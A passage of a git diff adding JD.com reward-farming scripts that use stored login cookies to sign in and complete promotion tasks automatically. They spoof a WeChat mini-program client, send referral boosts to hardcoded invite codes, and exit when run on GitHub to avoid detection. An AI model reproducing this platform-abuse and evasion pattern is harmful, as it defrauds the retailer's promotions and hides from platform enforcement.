e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_ds.js b/activity/jd_ds.js new file mode 100644 index 0000000..cbed929 --- /dev/null +++ b/activity/jd_ds.js @@ -0,0 +1,212 @@ +/* +京东代属脚本,类似十元街,⚠️⚠️⚠️⚠️限校园用户可使用,其他用户签到失败无京豆 +一周签到下来可获得30京豆,一天任意时刻运行一次即可 + +更新地址:jd_ds.js +参考github@jidesheng6修改而来 +已支持IOS双京东账号, Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js +============Quantumultx=============== +[task_local] +#京东代属 +10 7 * * * jd_ds.js, tag=京东代属, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_ds.png, enabled=true + +================Loon============== +[Script] +cron "10 7 * * *" script-path=jd_ds.js, tag=京东代属 + +===============Surge================= +京东代属 = type=cron,cronexp="10 7 * * *",wake-system=1,timeout=3600,script-path=jd_ds.js + +============小火箭========= +京东代属 = type=cron,script-path=jd_ds.js, cronexpr="10 7 * * *", timeout=3600, enable=true + */ +const $ = new Env('京东代属'); + +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +const randomCount = $.isNode() ? 20 : 5; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await userSignIn(); + await showMsg(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +function showMsg() { + return new Promise(async resolve => { + // $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); + let nowTime = new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000; + if (nowTime > new Date('2020/12/31 23:59:59+08:00').getTime()) { + $.msg($.name, '活动已结束', `咱江湖再见`); + if ($.isNode()) await notify.sendNotify($.name + '活动已结束', `咱江湖再见`) + } else { + $.msg($.name, '', `京东账号${$.index} ${$.nickName}\n${message}`); + } + resolve() + }) +} +function userSignIn() { + return new Promise(resolve => { + const body = {"activityId":"28acd0b5255d4aed866c60508ebf10f8","inviterId":"gCBrvPfINCZc+dotfvHPlA==","channel":"MiniProgram"}; + $.get(taskUrl('userSignIn', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0) { + console.log(`今日签到成功`) + if (data.data) { + let { alreadySignDays, beanTotalNum, todayPrize, eachDayPrize } = data.data; + message += `【第${alreadySignDays}日签到】成功,获得${todayPrize.beanAmount}京豆 🐶\n`; + if (alreadySignDays === 7) alreadySignDays = 0; + message += `【明日签到】可获得${eachDayPrize[alreadySignDays].beanAmount}京豆 🐶\n`; + message += `【累计获得】${beanTotalNum}京豆 🐶\n`; + } + } else if (data.code === 81) { + console.log(`今日已签到`) + message += `【签到】失败,今日已签到`; + } else if (data.code === 82) { + console.log(`非校园用户无法签到`) + message += `【签到】失败,非校园用户无法签到`; + } else { + console.log(`异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&appid=campus-mall&client=ds_m&fromType=wxapp×tamp=${new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000}`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Referer": "https://servicewechat.com/wxcb6c7f7be08467e3/104/page-frame.html", + "Cookie": cookie, + "User-Agent": 'Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/7.0.18(0x17001231) NetType/WIFI Language/zh_CN'//$.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_festival.js b/activity/jd_festival.js new file mode 100644 index 0000000..93cbdc8 --- /dev/null +++ b/activity/jd_festival.js @@ -0,0 +1,709 @@ +/* +京东手机年终奖 +活动时间:2021年1月26日~2021年2月8日 +更新地址:jd_festival.js +活动入口:https://shopping-festival.m.jd.com +已支持IOS双京东账号, Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js +============Quantumultx=============== +[task_local] +#京东手机年终奖 +15 0 * * * jd_festival.js, tag=京东手机年终奖, img-url=https://raw.githubusercontent.com/yogayyy/Scripts/master/Icon/shylocks/jd_festival2.jpg, enabled=true + +================Loon============== +[Script] +cron "15 0 * * *" script-path=jd_festival.js, tag=京东手机年终奖 + +===============Surge================= +京东手机年终奖 = type=cron,cronexp="15 0 * * *",wake-system=1,timeout=3600,script-path=jd_festival.js + +============小火箭========= +京东手机年终奖 = type=cron,script-path=jd_festival.js, cronexpr="15 0 * * *", timeout=3600, enable=true + */ +const $ = new Env('京东手机年终奖'); + +const notify = $.isNode() ? require('../sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('../jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +const randomCount = $.isNode() ? 20 : 5; + +const inviteCodes = [ + `9b98eb88-80ed-40ac-920c-a63fc769e72b@94c2a4d4-b53b-454b-82a0-0b80828bfd37@e274c80b-82dd-470c-878c-0790f5bf6a5d@aae299fc-6854-4fa7-b3ef-a6dedc3771b7@91ae877b-c98b-484a-9143-22d3a70b4088`, + `9b98eb88-80ed-40ac-920c-a63fc769e72b@94c2a4d4-b53b-454b-82a0-0b80828bfd37@e274c80b-82dd-470c-878c-0790f5bf6a5d@aae299fc-6854-4fa7-b3ef-a6dedc3771b7@91ae877b-c98b-484a-9143-22d3a70b4088` +]; + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; + if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0) +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://shopping-festival.m.jd.com/sf/'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', {"open-url": "https://bean.m.jd.com/"}); + return; + } + await requireConfig() + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.beans = 0 + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/`, {"open-url": "https://bean.m.jd.com/"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await shareCodesFormat() + await festival() + await showMsg(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +function showMsg() { + message += `本次运行获得${$.beans}个京豆` + return new Promise(resolve => { + $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); + resolve() + }) +} + + +async function helpFriends() { + for (let code of $.newShareCodes) { + if (!code) continue + console.log(`去助力好友${code}`) + const helpRes = await doSupport(code); + await $.wait(1000) + } +} + +async function festival() { + $.times = 0 + $.risk = false + await getIndexInfo() + if ($.risk) return + await getSignInfo() + await getTask(true) + for (let i = 0; i < 4; ++i) + await getTask() + for (let i = 0; i < 2; ++i) + await getExtTask() + await helpFriends() +} + +function getIndexInfo() { + return new Promise(resolve => { + $.get(taskUrl('index/indexInfo'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 200) { + $.risk = data.data.risk + if ($.risk) { + message += `风险用户\n` + console.log(`风险用户`) + return + } + $.times = data.data.remainTimes + console.log(`剩余游戏次数:${$.times}`) + } else { + console.log(`签到信息获取失败!`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getSignInfo() { + return new Promise(resolve => { + $.get(taskUrl('signin/listSignIn'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 200) { + let vo = data.data.signDayList.filter(vo => vo.date === data.data.today)[0] + if (vo.flag === "1") + console.log(`今日已签到`) + else + await signIn() + } else { + console.log(`签到信息获取失败!`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function signIn() { + return new Promise(resolve => { + $.get(taskUrl('signin/signInPrize'), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 200) { + console.log(`签到成功,获得${data.data.jbean}个京豆`) + $.beans += parseInt(data.data.jbean) + } else { + console.log(`签到失败!`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getTask(share = false) { + return new Promise(resolve => { + $.get(taskUrl('task/queryGeneralTasks'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 200) { + const {shareTask, generalTasks} = data.data + if (share) + console.log(`您的好友助力码为:${shareTask.shareId},当前助力进度:${shareTask.needSupportNum - shareTask.remainSupportNum}/${shareTask.needSupportNum}`) + else + for (let vo of generalTasks) { + console.log(`任务${vo.id}完成进度:${vo.finish}/${vo.total}`) + if (vo.finish < vo.total) { + await doTask(vo.type) + await $.wait(10 * 1000) + } + if (vo.status === "3") { + console.log(`任务已完成,去领奖`) + await doReceive(vo.type) + } else if (vo.status === "4") { + console.log(`任务已领奖`) + } + } + } else { + console.log(`任务获取失败`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getExtTask() { + return new Promise(resolve => { + $.get(taskUrl('extTask/extTaskInfo'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 200) { + let type = ['shop', 'sku', 'venue'] + for (let vo of type) { + for (let item of data.data[`${vo}List`]) { + if (item.status < 2) { + console.log(`去浏览${item.name}`) + await browseTask(item.id, vo) + await $.wait(6 * 1000) + } else if (item.status === 2) { + console.log(`${item.name}浏览完成,去领奖`) + await getPrize(item.id, vo) + } else { + console.log(`${item.name}已浏览过`) + } + } + } + } else { + console.log(`任务获取失败`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function doTask(type) { + return new Promise(resolve => { + $.get(taskUrl('task/doTask', {type: type}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 200) { + console.log(`任务完成成功`) + } else { + console.log(`任务完成失败`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function doReceive(type) { + return new Promise(resolve => { + $.get(taskUrl('task/doReceive', {type: type}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 200) { + console.log(`任务领奖成功,获得${data.data}次游戏机会`) + } else { + console.log(`任务领奖失败`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function 